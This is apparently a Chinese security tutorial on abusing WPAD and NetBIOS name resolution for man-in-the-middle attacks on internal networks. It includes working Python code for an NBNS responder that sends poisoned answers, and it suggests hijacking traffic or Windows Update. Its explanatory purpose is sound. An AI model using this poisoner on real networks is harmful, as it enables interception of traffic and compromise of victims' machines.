WPAD 這項技術已經誕生了近十年的時間,其最大的優勢就在于,在一個或多個局域網中,當需要為內網中的用戶設置不同的代理服務器去連接互聯網或者企業內網時,利用 WPAD 就能夠靈活方便的進行配置。由于配置代理服務器的方式對于用戶來說是透明的,無需用戶手動操作的,因此,攻擊者就可以利用這個特點使用 WPAD 進行內網的滲透。
利用 WPAD 進行內網滲透的技術已經出現了很多年了,一直沒有變得像 ARP Spoof 等攻擊方式那么流行,可能是由于常規的內網滲透中,如 Windows 域的滲透,攻擊者只需拿到域控的權限即可控制域中的任何機器,因此,攻擊者往往只關注如何抓到域管理員的 HASH。然而即使在工作組的滲透中,也有著比 WPAD 更有效的攻擊方式。但是在攻擊者“無(qian)計(lv)可(ji)施(qiong);)”的時候,也會采用一些“非主流”的方式進行內網滲透。
本文將會闡述 WPAD 協議的工作原理,實現方式以及在內網滲透中的應用思路,僅僅起一個拋磚的作用,希望大牛們多多“引玉”。
PS:本文是筆者利用工作之余的零碎時間所寫,難免會有紕漏,還望各位看(da)官(niu)在評論區及時指正 or PM 我。
WPAD(Web Proxy Auto-Discovery Protocol) 是 Web 代理自動發現協議的簡稱,該協議的功能是可以使局域網中用戶的瀏覽器可以自動發現內網中的代理服務器,并使用已發現的代理服務器連接互聯網或者企業內網。WPAD 支持所有主流的瀏覽器,從 IE 5.0 開始就已經支持了代理服務器自動發現/切換的功能,不過蘋果公司考慮到 WPAD 的安全風險,在包括 OSX 10.10 及之后版本的操作系統中的 Safari 瀏覽器將不再支持 PAC 文件的解析。
當系統開啟了代理自動發現功能后,用戶使用瀏覽器上網時,瀏覽器就會在當前局域網中自動查找代理服務器,如果找到了代理服務器,則會從代理服務器中下載一個名為 PAC(Proxy Auto-Config) 的配置文件。該文件中定義了用戶在訪問一個 URL 時所應該使用的代理服務器。瀏覽器會下載并解析該文件,并將相應的代理服務器設置到用戶的瀏覽器中。
PAC(Proxy Auto-Config) 配置文件使用了 Javascript 對 URL 和代理服務器進行描述。通常使用 proxy.pac 作為文件名, WPAD 的規范則使用 wpad.dat 作為 PAC 文件的文件名。
一個 PAC 文件至少定義了一個名為 FindProxyForURL(url, host) 的 JavaScript 函數,該函數的返回值是一個字符串,指定了 URL 的訪問方式,兩個參數分別代表了要指定設置的 URL 和 該 URL 所對應的主機名。
PAC 文件內容示例如下:
#!js
function FindProxyForURL(url, host) {
if (url== 'http://Her0in.org/') return 'DIRECT';
if (shExpMatch(host, "*.wooyun.org")) return "DIRECT";
if (host== 'wooyun.com') return 'SOCKS 127.1.1.1:8080';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.2.2.2:8080;DIRECT';
return 'DIRECT';
}
該文件定義了當用戶訪問 http://Her0in.org/ 時,將不使用任何代理服務器直接(DIRECT)訪問 URL。也可以使用 shExpMatch 函數對 host 或者 url 進行匹配設置,SOCKS 127.1.1.1:8080 指定了使用 127.1.1.1:8080 的 SOCKS 代理進行 URL 的訪問,PROXY 127.2.2.2:8080;DIRECT 指定了使用 127.2.2.2:8080 的 HTTP 代理進行 URL 的訪問,如果連接 127.2.2.2:8080 的 HTTP 代理服務器失敗,則直接(DIRECT)訪問 URL。
本地搭建提供 WPAD 使用的 HTTP 代理服務器時,需要監聽 80 端口,因為客戶端瀏覽器默認會從 80 端口下載 PAC 文件,同時要將 PAC 文件的 MIME 類型設置為 application/x-ns-proxy-autoconfig 或 application/x-javascript-config,不過這不是必須要設置的。
PAC 文件的編碼問題
FF 和 IE 只支持系統默認的編碼類型 的 PAC 文件,并且不支持 Unicode 編碼,如 UTF-8。 關于 PAC 文件的更多說明,可以在 這里 和 這里找到。
在 Windows 系統中,從 IE 5.0 開始就支持了 WPAD,并且 Windows 系統默認是開啟了 WPAD 功能的。
可以在 IE瀏覽器的 Internet 選項 — 連接 選項卡 — 局域網設置 — 自動檢測設置 中看到,系統默認是勾選此功能的。
如下圖所示:
圖 1:Windows 中 IE 瀏覽器的 WPAD 設置
另外, Windows 系統從 IE 5.5 開始支持“自動代理結果緩存”功能,并默認開啟了此功能,此功能的機制為每當客戶端的瀏覽器連接成功 HTTP 代理服務器,都會更新 ARP 緩存,所以在客戶端瀏覽器再次連接代理服務器也就是在再次調用 FindProxyForURL() 函數時,會先檢查 ARP 緩存列表中,是否存在要連接的 HTTP 代理服務器地址。所以此功能的目的就是縮減系統獲取分配對象的開銷。
可以使用如下操作關閉此功能:
方法 1:修改注冊表
可以使用下面的注冊表項禁用“自動代理結果緩存”:
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
將 EnableAutoproxyResultCache(如果不存在請手動創建,類型為 REG_DWORD) 設置為 0 或者 1 。
0 = 禁用緩存;1 = 啟用自動代理緩存(這是默認設置)
方法 2:修改組策略設置
在組策略對象編輯器中的“用戶配置” — “管理模板” — “Windows 組件” — “Internet Explorer”中,啟用 “禁用緩存自動代理腳本”即可。
在 Windows 系統中,有一個服務名為 WinHTTP Web Proxy Auto-Discovery Service,其描述信息為 “WinHTTP 實現了客戶端 HTTP 堆棧并向開發人員提供 Win32 API 和 COM 自動化組件以供發送 HTTP 請求和接收響應。此外,通過執行 Web 代理自動發現(WPAD)協議,WinHTTP 還提供對自動發現代理服務器配置的支持。”
PS:為了安全起見,建議禁用,因為大多數的情況下不會用到。
WPAD 實現的方式有兩種,DHCP 和 DNS,具體內容如下。
DHCP 是 Dynamic Host Configuration Protocol 的縮寫即 動態主機配置協議,它是一個用于局域網的網絡協議,處于 OSI 的應用層,所使用的傳輸協議為 UDP。DHCP 的主要功能是動態分配,當然不僅僅是 IP 地址,也包括一些其他信息,如子網掩碼等,也包括本文所講的 WPAD,這些額外的信息都是在 DHCP 協議中的 “DHCP options” 字段中設置的。
DHCP 的工作流程有 4 個步驟:
圖 2:DHCP 工作流程
上圖即為客戶端與 DHCP 服務器進行交互的過程,其中,前兩個流程主要是通過客戶端發送廣播包,之后 DHCP 服務器進行相應與客戶端進行單播通訊。后面的兩個流程即為客戶端從 DHCP 服務器獲取 IP 地址的過程。當客戶端已經成功獲取到了 IP 地址后同時該地址在客戶端重新登錄到網絡前并未被其他主機占用,那么將不會再執行前兩個流程。關于 DHCP 協議的具體內容不是本文的重點內容,不再詳述。
當使用 DHCP 服務器配置 WPAD 時, DHCP 協議將會有所改變,具體的改變可以在 RFC 2131 中看到,增加了 DHCPINFORM 消息,此消息用于客戶端請求本地配置參數,所以客戶端在請求 WPAD 主機時就會發送 DHCPINFORM 請求消息,之后 DHCP 服務器會應答 DHCPACK 確認消息,此消息中的 DHCP Options 字段里就包含 DHCP 的 252 選項即 WPAD 代理服務器的 PAC 文件地址。
DHCP 服務器響應的 DHCPACK 數據包對應的 DHCP 結構:
圖 3: DHCPACK 消息結構
關于 DHCP Options 的其他定義可以查看 DHCP 的 RFC 1531 文檔
在目前的大多數內網中已經不再使用 DHCP 服務器來進行對客戶端的 WPAD 的配置了,而是采用了較為簡單的方式如 DNS 服務器。
利用 DNS 配置 WPAD 的方式本質上還是利用了 Windows 系統的名稱解析機制。
利用 DNS 配置 WPAD 的原理如下:
客戶端主機向 DNS 服務器發起了 WPAD+X 的查詢請求。如果客戶端主機是處于域環境下時,發起的 WPAD+X 的查詢請求為 “WPAD.當前域的域名”。DNS 服務器對 WPAD 主機的名稱進行解析返回 WPAD 主機的 IP 地址,客戶端主機通過 WPAD 主機的 IP 的 80 端口下載并解析 PAC 文件。
利用 DNS 進行 WPAD 的配置,網絡管理員只需要在 DNS 服務器中添加 WPAD 主機的解析記錄即可。
PS:在工作組環境中,客戶端主機執行 WPAD 功能時,就會遵循 Windows 系統的名稱解析順序,查詢的名稱均為 “WPAD”,如果 OS 版本為 Vista 之后的(包括 Vista)順序為:DNS => LLMNR => NBNS,反之則為 DNS => NBNS。
前面的內容已經說明了 WPAD 的工作原理,實現方式和 WPAD 在 Windows 系統中的相關內容。接下來就是本文要重點闡述的內容,如何利用 WPAD 進行內網滲透。
上面已經說明,在實際滲透中,大多數情況下遇到的內網都不再使用 DHCP 進行 WPAD 的配置,而利用 DNS 配置 WPAD 或者是內網本身沒有對 WPAD 的配置進行設置的情況下,都會默認遵循 Windows 系統的名稱解析順序,因此,可以利用 Windows 系統的名稱解析順序的缺陷進行 WPAD 的“惡意”配置,從而進行內網的滲透。
關于 Windows 系統的名稱解析順序 及利用 Windows 系統的名稱解析缺陷滲透的思路可以從我的下面兩篇文章中找到。
Windows 名稱解析機制探究及缺陷利用(下文簡稱 文1)
利用 LLMNR 名稱解析缺陷劫持內網指定主機會話(下文簡稱 文2)
在 文2 中已經闡述了 如何利用 LLMNR 名稱解析進行內網滲透的思路,并給出了相應的利用代碼。所以本文將不再贅述“如何利用 LLLMNR 名稱解析缺陷進行基于 WPAD 的中間人攻擊”。
NetBIOS 協議名稱解析過程
一張圖看明白 NetBIOS 名稱解析過程,以受害者訪問局域網中的 WEBSERVER 為例(受害者主機的 NetBIOS緩存中無 WEBSERVER):
圖 4:NetBIOS 名稱解析過程
NetBIOS 協議分析
使用 Wireshark 可以快速抓取到 NetBIOS 協議名稱查詢的數據包,如下圖:
圖 5:NetBIOS 名稱查詢數據包格式
NetBIOS 的協議結構與 LLMNR 的基本一致。但是與 LLMNR 還是有所不同,其中最明顯的一點為 NetBIOS 協議中的主機名稱是加密的,通過查閱相關資料,如 dpkt,Wireshark等,可以找到其加密和解密的源碼:
PS:以下代碼引用自 dpkt 庫。
#!python
def encode_name(name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
c = ord(c)
l.append(chr((c >> 4) + 0x41))
l.append(chr((c & 0xf) + 0x41))
return ''.join(l)
def decode_name(nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]
從代碼中不難分析出加解密的過程,至于為何 pack 的時候使用 16 請參閱 文1 中對 NetBIOS 名稱的闡述。
NetBIOS 協議的內容比較多,其中有不少與我們在內網滲透中所使用的一些命令有直接的關系,更多內容可以查閱 NetBIOS 協議的 RFC 文檔
Python 實現 NetBIOS 協議的質詢與應答
盡管目前已有相當優秀的網絡協議開源庫實現了 NetBIOS 的質詢與應答,不過為了更好的理解 NetBIOS 協議,我們還是動手自己來構造協議數據包。根據 Wireshark 抓取的數據包(圖 5)可以很快的構造并實現 NetBIOS 協議的名稱查詢數據包。代碼如下:
#!python
#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """
NBNS Query ,
by Her0in
"""
import socket, struct
class NBNS_Query:
def __init__(self,name):
self.name = name
self.populate()
def populate(self):
self.HOST = '192.168.16.255'
self.PORT = 137
self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.QueryData = (
"\xa9\xfb" # Transaction ID
"\x01\x10" # Flags Query
"\x00\x01" # Question:1
"\x00\x00" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x20" # length of Name:32
"NAME" # Name
"\x00" # NameNull
"\x00\x20" # Query Type:NB
"\x00\x01") # Class
self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name)))
# From http://code.google.com/p/dpkt/
def encode_name(self,name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
c = ord(c)
l.append(chr((c >> 4) + 0x41))
l.append(chr((c & 0xf) + 0x41))
return ''.join(l)
def Query(self):
while 1:
print "NBNS Querying... -> %s" % self.name
self.nqs.sendto(self.data, (self.HOST, self.PORT))
self.nqs.close()
if __name__ == "__main__":
nbns = NBNS_Query("WPAD")
nbns.Query()
通過 Wireshark 抓取 NetBIOS 名稱查詢的應答數據包,同樣可以快速實現名稱查詢的應答功能。代碼如下:
#!python
#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """
NBNS Answer ,
by Her0in
"""
import socket, struct,binascii
class NBNS_Answer:
def __init__(self, addr):
self.IPADDR = addr
self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.init_socket()
self.populate()
def populate(self):
self.AnswerData = (
"TID" # Transaction ID
"\x85\x00" # Flags Query
"\x00\x00" # Question
"\x00\x01" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x20" # length of Name:32
"NAME" # Name
"\x00" # NameNull
"\x00\x20" # Query Type:NB
"\x00\x01" # Class
"\x00\x00\x00\xa5" # TTL
"\x00\x06" #
"\x00\x00" # Null
"IPADDR") # IP Address
def init_socket(self):
self.HOST = "0.0.0.0"
self.PORT = 137
self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
def decode_name(self, nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]
def Answser(self):
self.nas.bind((self.HOST, self.PORT))
print "Listening..."
while 1:
data, addr = self.nas.recvfrom(1024)
tid = data[0:2]
name = data[13:45]
data = self.AnswerData.replace('TID', tid)
data = data.replace('NAME', name)
data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name))
self.nas.sendto(data, addr)
self.nas.close()
if __name__ == "__main__":
nbns = NBNS_Answer("11.22.33.44")
nbns.Answser()
通過上面一系列針對 WPAD 原理和 NetBIOS 協議的闡述,理解利用 NetBIOS 名稱解析進行基于 WPAD 的中間人攻擊的思路就不難了,不過利用思路將不會再像 文2 那樣詳述。因為我認為,只要理解了攻擊思路,如何利用就是一個“方法論”的問題了,具體情況具體分析,各位大牛完全可以自由發揮。
利用 NetBIOS 名稱解析進行基于 WPAD 的中間人攻擊本質上還是利用了 Windows 系統的名稱解析順序和 NetBIOS 協議的特點。
在文章第三小節已經說過,在工作組環境中,客戶端主機執行 WPAD 功能時,就會遵循 Windows 系統的名稱解析順序,查詢的名稱均為 “WPAD”。那么,如此看來,先廣播進行 “WPAD” 名稱的注冊,然后監聽 137 端口,等待局域網其他已啟用 WPAD 功能的主機啟動 IE 瀏覽器連接網絡即可將受害者主機的瀏覽器代理設置為攻擊者指定的代理服務器,這樣就可以獲得受害者的瀏覽器的上網記錄。
利用上一節中的 Demo 程序以及 Python 的 SimpleHTTPServer 功能還有一臺 HTTP 或者 SOCKS 代理服務器即可快速模擬出一個簡單的攻擊場景。如下圖:
圖 6: 利用 NetBIOS 名稱解析進行基于 WPAD 的中間人攻擊
如上圖所示,攻擊者開啟 NetBIOS 惡意應答程序,并監聽 80 端口提供 PAC 配置文件(wpad.dat)的下載,同時開啟代理服務器(這里使用的是 HTTP 代理服務器 => Burp Suite)。
受害者主機(Windows XP) 打開 IE 瀏覽器(已啟用了 WPAD 功能)開始上網,此時瀏覽器就會尋找當前局域網中的代理服務器,實際上是進行了 WPAD 的名稱查詢,可以從圖中看到攻擊者的惡意應答程序做了惡意應答,同時提供 PAC 配置文件下載的 HTTP 服務器打印出了日志信息,此時受害者的瀏覽器已經下載了 PAC 配置文件(該文件內容為代理服務器地址信息),之后,受害者的瀏覽器就會使用攻擊者指定的代理服務器進行上網,這一點從 Burp Suite 中就可以看到。
OK,上述內容就是整個攻擊的思路和流程,在實戰中,完全可以將攻擊過程程序化,自動化。
利用 NetBIOS 協議進行中間人攻擊的方式其實還有很多,攻擊的思路也可以很靈活的根據實際需要進行布局。在利用 WPAD 進行攻擊時,實際的效果很有可能沒有想象的那么好,不過一旦奏效,就可以拿到受害者主機權限。尤其是在無計可施的情況下,還是值得一試的,很多內網中,管理員都不會對這些攻擊方式做防御措施,除了部分桌面安全產品,如防火墻可能會做嚴格的過濾攔截,大部分情況下,此類攻擊方式還是很有效的,尤其是可以在做名稱解析響應時,篩選受害者主機,對 HTTP 數據包進行更改插入惡意代碼,進行針對性的定點打擊。另外,NetBIOS 協議比起 LLMNR 有一個更佳有利于攻擊的特點,NetBIOS 協議的名稱解析可以對受害者訪問的域名進行響應,當然,前提是 DNS 服務器沒有做出成功的響應時,才會使用 NetBIOS 協議進行查詢。關于這一點以及 WPAD ,都可以結合 Windows Update 所使用的更新域名進行中間人攻擊,下載并執行攻擊者指定的補丁文件。
關于 NetBIOS 協議的內容可以在相關的 RFC 文檔中查閱,其中還有不少東西可以在內網滲透中利用到,如 OPCODE 字段的取值,BROWSER 協議等等,更多的攻擊思路還有待各位看官多多“引玉”。